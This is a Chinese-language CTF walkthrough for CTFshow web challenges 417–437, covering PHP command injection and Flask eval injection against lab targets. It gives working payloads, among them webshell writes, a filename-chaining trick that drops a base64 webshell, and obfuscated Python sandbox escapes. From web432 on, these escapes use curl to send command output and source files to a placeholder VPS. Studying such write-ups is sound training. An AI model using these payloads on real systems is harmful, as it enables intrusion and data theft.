CTFSHOW | 其他篇题解(二)web417 - web437
文章目录
- 前言
- 题目列表
- web417
- web418
- web419
- web420
- web421
- web422
- web423
- web424
- web425
- web426
- web427
- web428
- web429
- web430
- web431
- web432
- web433
- web434
- web435
- web436
- web437
前言
由于题目比较多,所以分三个部分来写,这是第二部分
题目列表
web417
有个3.php
文件,下载后是一段加密代码,用ai解密
得到代码
include('flag.php');
$c=$_GET['ctf'];
if($c=='show'){echo $flag;
}else{echo 'FLAG_NOT_HERE';
}
?>
GET传入
?ctf=show
成功得到flag
web418
先看代码
由于变量key已经被赋值为0,因此这个后门没什么用,需要另辟蹊径
然后我们可以看到有个extract
函数,这是PHP里的一个函数调用。extract()
作用是把数组里的键名当作变量名,在当前作用域创建同名变量,并赋值为数组的对应值。比如$_POST['wayne']=123
时,extract($_POST);
之后就有了变量$wayne=123
我们看这个代码
$die?die('FLAG_NOT_HERE'):clear($clear);
由于变量die没有被赋值,因此可以进行变量覆盖。这是三目运算符,我们可以传入0来触发后面的clear($clear)
继续往下划,可以看到clear
函数的定义
给变量clear用分号截断命令即可,POST传入
die=0&clear=;echo '<?=eval($_POST[1]);?>'>/var/www/html/1.php
然后蚁剑连接
在网页根目录找到flag
web419
先看代码
这题要求POST传入参数code,且长度要小于17,然后eval执行php代码
咱们用反引号执行命令即可,把当前目录下的flag.php
复制到1.txt
payload:
code=`cp f* 1.txt`;
然后打开1.txt
读取flag即可
web420
先看代码
这次code长度被限制在8位以内,也就是7位,然后eval函数也换成了system。有几个方法可以做这题
方法一:nl输出
nl命令是Linux系统中的一个命令行工具,全称是“number lines”,用于给文本文件或标准输入的每一行添加行号,并将结果输出。它类似于cat -n,但nl对行号显示格式和处理方式更灵活
经过尝试,发现flag在/var/www
目录里面
payload:
code=nl ../*
方法二:写文件并执行
非常妙的一个方法,强烈建议学习,参考文章:命令注入长度限制绕过
假设我们要写入webshell
目标是传入echo PD89ZXZhbCgkX1BPU1RbMV0pOw==|base64 -d>1.php;
先用重定向符创建文件,依次执行以下命令
>hp\;
>1.p\\
>d\>\\
>\-\\
>4\ \\
>e6\\
>bas\\
>=\|\\
>w=\\
>0pO\\
>bMV\\
>U1R\\
>1BP\\
>gkX\\
>hbC\\
>ZXZ\\
>PD89\\
>o\ \\
>ech\\
然后把这些文件名以时间倒序形式写入任意一个文件,例如0
ls -t>0
最后运行文件即可,会执行0里面的命令,然后在当前目录创建一个1.php
sh 0
连接蚁剑即可
成功找到flag
web421
先看代码
这次是要求code长度小于6,也就是长度为5
经过测试,发现flag就在当前目录。直接nl
读取就可以
payload:
code=nl f*
然后打开源代码查看flag
web422
先看代码
相比上题,这题的code长度被限制在5以内
直接nl
打印全部内容即可
payload:
code=nl *
然后查看网页源码
web423
打开源代码,可以看到提示
拼接code参数,一开始用PHP和直接执行命令都不行。经过测试,这个网站是python文件运行的,要用python代码执行
payload:
?code=os.popen('ls').read()
可以把原始代码打印出来看看
?code=os.popen('cat app.py').read()
from flask import Flask
from flask import request
import os app = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code') if code: return eval(code) return 'where is flag?<!-- /?code -->' if __name__=="__main__": app.run(host='0.0.0.0',port=80)
执行命令获取flag即可
?code=os.popen('cat /flag').read()
web424
这题用?code=os.popen('ls').read()
会报内部错误,既然执行命令不可以,我们试试直接用open函数读取文件
?code=open('app.py').read()
成功执行,得到网页源码
from flask import Flask
from flask import requestapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)
可以看到,这次没有了os模块,没办法执行系统命令了,不过不影响我们读取文件
payload:
?code=open('/flag').read()
成功得到flag
web425
跟上题一样,先读取源代码看看
?code=open('app.py').read()
from flask import Flask
from flask import requestapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:if 'os' not in code:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)
可以看到这题相比上题,过滤了code里面的os字符串,其他都是一样的,不影响我们做题
payload:
?code=open('/flag').read()
web426
上题的payload也能用,先看源码
?code=open('app.py').read()
from flask import Flask
from flask import request
import reapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:reg = re.compile(r'os|popen')if reg.match(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)
这题的正则匹配改了,简单解释一下
re.compile(r'os|popen')
创建了一个模式,表示“匹配os
或popen
”- 竖线
|
是“或”的意思 reg.match(code)
表示只从字符串开头匹配:- 如果字符串开头含
os
或popen
,匹配成功 - 否则匹配失败(即
None
)
- 如果字符串开头含
也就是开头不能包含os和popen,不过对我们影响不大
payload:
?code=open('/flag').read()
web427
可以继续用上题的payload,先看源码
?code=open('app.py').read()
from flask import Flask
from flask import request
import reapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:reg = re.compile(r'os|popen|system')if reg.match(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)
这题比上题多过滤了system,不影响做题
payload:
?code=open('/flag').read()
web428
可以继续用上题的payload看源码
?code=open('app.py').read()
from flask import Flask
from flask import request
import reapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:reg = re.compile(r'os|popen|system|read')if reg.match(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)
这题比上题多过滤了read,不过因为reg.match(code)
匹配的是开头,所以对我们没有影响
payload:
?code=open('/flag').read()
web429
这题一开始用open('app.py').read()
执行不了,猜测是某个地方被过滤了,经过尝试,在前面加个空格即可绕过限制
?code= open('app.py').read()
源代码:
from flask import Flask
from flask import request
import reapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:reg = re.compile(r'os|open|system|read')if reg.match(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)
可以看到,这题过滤了open字符串,因为re.match()
是从字符串开头匹配,所以我们在前面加个空格即可绕过
payload:
?code= open('/flag').read()
web430
可以用上题的payload,先看源代码
?code= open('app.py').read()
from flask import Flask
from flask import request
import reapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:reg = re.compile(r'os|open|system|read|eval')if reg.match(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)
这题把eval也过滤了,不过对我们没影响
payload:
?code= open('/flag').read()
web431
继续用上题的方法做就好,看看源码
?code= open('app.py').read()
from flask import Flask
from flask import request
import reapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:reg = re.compile(r'os|open|system|read|eval|str')if reg.match(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)
这次多过滤了str,不影响做题
payload:
?code= open('/flag').read()
web432
这题用不了之前的方法了,看了网上其他师傅的做法,可以用类似SSTI模板注入的方法来做,构造一条命令执行的链子
由于os.system()
不会把命令的输出结果返回给 Python 程序,所以我们用curl外带数据显示
payload:
?code=str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`ls`'))
简单解释里面的一些代码
__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')
-
__builtins__
:是 Python 的一个内置模块,包含了所有内建函数和对象(如print
,str
,dict
等)。它在任何 Python 代码中都可以直接访问 -
__dict__
:这是 Python 对象的一个特殊属性,它是一个字典(dict),存储了该对象(这里是__builtins__
模块)的所有属性。键是属性名,值是属性本身 -
__builtins__.__dict__['__import__']
:这部分代码通过字典键值查询的方式,从__builtins__
模块中获取了内建函数__import__
。这和直接写__import__
是一样的,但更隐蔽 -
__getattribute__
:是 Python 对象的一个方法,用于获取对象的属性。os.__getattribute__('system')
的效果和os.system
完全一样
%2b表示+号,目的是为了绕过正则匹配限制
我们可以通过curl把app.py
内容转为base64编码外带到vps显示
?code=str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`base64 -w 0 app.py`'))
默认情况下,base64
命令输出的编码字符串会在每 76 个字符后自动换行,所以我们不用cat app.py|base64
,会显示不完整,我们用base64 -w 0 app.py
即可,参数 -w 0
表示取消换行
解码base64,成功得到网站源码
from flask import Flask
from flask import request
import reapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:reg = re.compile(r'os|open|system|read|eval')if reg.search(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)
可以看到之前的reg.match(code)
改成了reg.search(code)
,意味着从检测开头变换到检测整个字符串
最后找flag就可以
payload:
?code=str(__builtins__.__dict__['__impo'%2b'rt__']('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`cat /flag`'))
得到的flag没有括号,自行加个括号就可以
web433
直接用上题的payload会不行,经过测试发现去掉builtins
就可以了
?code=str(__import__('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`ls`'))
也可以把so反转成os,[::-1]
是 Python 中字符串切片的写法,表示反转字符串。'so'[::-1]
结果是 os
?code=str(__import__('so'[::-1]).__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`ls`'))
老样子,我们看看源码,方法跟上题一样,base64带出来
from flask import Flask
from flask import request
import reapp = Flask(__name__)
@app.route('/')
def app_index():code = request.args.get('code')if code:reg = re.compile(r'os|open|system|read|eval|builtins')if reg.search(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)
可以看到这题把builtins
模块禁了,我们直接import
就可以
payload:
?code=str(__import__('o'%2b's').__getattribute__('syste'%2b'm')('curl http://你的vps地址:端口?p=`cat /flag`'))
web434
经过测试,发现这题是把curl过滤了,加个'%2b'
在中间就可以
?code=str(__import__('o'%2b's').__getattribute__('syste'%2b'm')('cu'%2b'rl http://你的vps地址:端口?p=`ls`'))
我们看看源码
from flask import Flask
from flask import request
import reapp = Flask(__name__)def Q2B(uchar):"""单个字符 全角转半角"""inside_code = ord(uchar)if inside_code == 0x3000:inside_code = 0x0020else:inside_code -= 0xfee0if inside_code < 0x0020 or inside_code > 0x7e: #转完之后不是半角字符返回原来的字符return ucharreturn chr(inside_code)def stringQ2B(ustring):"""把字符串全角转半角"""return "".join([Q2B(uchar) for uchar in ustring])@app.route('/')
def app_index():code = request.args.get('code')if code:code = stringQ2B(code)reg = re.compile(r'os|open|system|read|eval|builtins|curl')if reg.search(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)
发现多了两个函数,用于将字符串中的全角字符转换为半角字符,然后后面调用 stringQ2B
将 code
中的全角字符全部转为半角,返回结果重新赋值给 code
,对我们影响不大
payload:
?code=str(__import__('o'%2b's').__getattribute__('syste'%2b'm')('cu'%2b'rl http://你的vps地址:端口?p=`cat /flag`'))
web435
测试发现是把下划线禁了,我们可以用web433提到的字符串切片方法来反转字符串
首先构建反转代码,我们可以直接引入os,然后调用里面的system函数,原始代码:import os; os.system("curl http://你的vps地址:端口?p=ls")
?code=str(')"`sl`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1])
可以在网页看到原始代码
我们具体解释一下[::-1]
代码,Python 的切片语法是:
sequence[start:stop:step]
start
是切片起始索引(包含该位置)stop
是结束索引(不包含该位置)step
是步长(跨越的索引间隔)
其中三个参数都可以省略
[::-1]
的含义:
start
和stop
都省略,表示从序列的头到尾step
是-1
,表示步长为-1,即反向遍历序列
这样会创建序列的反转副本,不改变原序列
然后我们用exec
执行这串代码就可以
payload:
?code=str(exec(')"`sl`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))
可以把它的源码爆出来看看
?code=str(exec(')"`yp.ppa 0 w- 46esab`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))
from flask import Flask
from flask import request
import reapp = Flask(__name__)def Q2B(uchar):"""单个字符 全角转半角"""inside_code = ord(uchar)if inside_code == 0x3000:inside_code = 0x0020else:inside_code -= 0xfee0if inside_code < 0x0020 or inside_code > 0x7e: #转完之后不是半角字符返回原来的字符return ucharreturn chr(inside_code)def stringQ2B(ustring):"""把字符串全角转半角"""return "".join([Q2B(uchar) for uchar in ustring])@app.route('/')
def app_index():code = request.args.get('code')if code:code = stringQ2B(code)reg = re.compile(r'os|open|system|read|eval|builtins|curl|_')if reg.search(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)
最后我们找flag就可以
payload:
?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))
web436
可以继续用上题的方法
我们把源码爆出来看看
from flask import Flask
from flask import request
import reapp = Flask(__name__)def Q2B(uchar):"""单个字符 全角转半角"""inside_code = ord(uchar)if inside_code == 0x3000:inside_code = 0x0020else:inside_code -= 0xfee0if inside_code < 0x0020 or inside_code > 0x7e: #转完之后不是半角字符返回原来的字符return ucharreturn chr(inside_code)def stringQ2B(ustring):"""把字符串全角转半角"""return "".join([Q2B(uchar) for uchar in ustring])@app.route('/')
def app_index():code = request.args.get('code')if code:code = stringQ2B(code)reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr')if reg.search(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)
可以看到这题把getattr
过滤了,不过不影响我们做题,步骤跟上题一样
payload:
?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))
web437
跟上题一样的方法
爆出源码看看
from flask import Flask
from flask import request
import reapp = Flask(__name__)def Q2B(uchar):inside_code = ord(uchar)if inside_code == 0x3000:inside_code = 0x0020else:inside_code -= 0xfee0if inside_code < 0x0020 or inside_code > 0x7e: return ucharreturn chr(inside_code)def stringQ2B(ustring):return "".join([Q2B(uchar) for uchar in ustring])@app.route('/')
def app_index():code = request.args.get('code')if code:code = stringQ2B(code)if '\\u' in code:return 'hacker?'reg = re.compile(r'os|open|system|read|eval|builtins|curl|_|getattr')if reg.search(code)==None:return eval(code)return 'where is flag?<!-- /?code -->'if __name__=="__main__":app.run(host='0.0.0.0',port=80)
多了个if '\\u' in code
,\\u
是一种表示 Unicode 编码字符 的转义序列
具体说明:
- 在字符串里,
\u
后面跟着 4 位十六进制数字,用来表示一个 Unicode 字符的编码 - 比如
\u4f60
表示汉字 “你”,\u597d
表示汉字 “好” - 这种写法在很多编程语言和数据格式(如 JSON)中都用来表达非 ASCII 字符
这次过滤对我们影响不大,可以继续用上题的步骤
payload:
?code=str(exec(')"`galf/ tac`=p?反转端口:你的反转vps地址//:ptth lruc"(metsys.so ;so tropmi'[::-1]))